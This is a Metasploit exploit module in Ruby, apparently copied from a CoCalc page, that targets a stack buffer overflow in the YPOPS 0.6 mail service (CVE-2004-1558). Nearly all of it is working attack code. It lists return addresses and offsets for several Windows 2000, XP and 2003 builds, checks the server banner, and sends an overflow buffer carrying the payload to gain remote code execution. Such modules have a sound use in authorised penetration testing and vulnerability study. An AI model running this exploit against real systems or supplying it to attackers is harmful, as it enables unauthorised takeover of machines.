CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Smtp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'YPOPS 0.6 Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in the YPOPS POP3
16
        service.
17

18
        This is a classic stack buffer overflow for YPOPS version 0.6.
19
        Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
20
        jmp ebx opcode in ws_32.dll
21
      },
22
      'Author'         => [ 'acaro <acaro[at]jervus.it>' ],
23
      'References'     =>
24
        [
25
          [ 'CVE', '2004-1558'],
26
          [ 'OSVDB', '10367'],
27
          [ 'BID', '11256'],
28
          [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
29
        ],
30
      'Platform'       => 'win',
31
      'Privileged'     => false,
32
      'Payload'        =>
33
        {
34
          'Space'    => 1200,
35
          'BadChars' => "\x00\x25",
36
          'MinNops'  => 106,
37
        },
38
      'Targets'        =>
39
        [
40
          [ 'Windows 2000 SP0 Italian',   { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
41
          [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
42
          [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
43
          [ 'Windows 2000 SP0 English',   { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
44
          [ 'Windows 2000 SP1 English',   { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
45
          [ 'Windows 2000 SP2 English',   { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
46
          [ 'Windows 2000 SP3 English',   { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
47
          [ 'Windows 2000 SP4 English',   { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
48
          [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
49
          [ 'Windows XP SP2 English',     { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
50
          [ 'Windows 2003 SP0 English',   { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
51
          [ 'Windows 2003 SP1 English',   { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
52
        ],
53
      'DisclosureDate' => '2004-09-27'))
54
  end
55

56
  def check
57
    connect
58
    disconnect
59

60
    banner.gsub!(/\n/, '')
61

62
    if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
63
      vprint_status("Vulnerable SMTP server: #{banner}")
64
      return Exploit::CheckCode::Detected
65
    end
66

67
    vprint_status("Unknown SMTP server: #{banner}")
68
    return Exploit::CheckCode::Safe
69
  end
70

71
  def exploit
72
    connect
73

74
    pattern =
75
      rand_text_alpha(target['Offset'] - payload.encoded.length) +
76
      payload.encoded +
77
      [target.ret].pack('V') +
78
      "\n"
79

80
    print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
81

82
    sock.put(pattern)
83

84
    handler
85
    disconnect
86
  end
87
end
88

89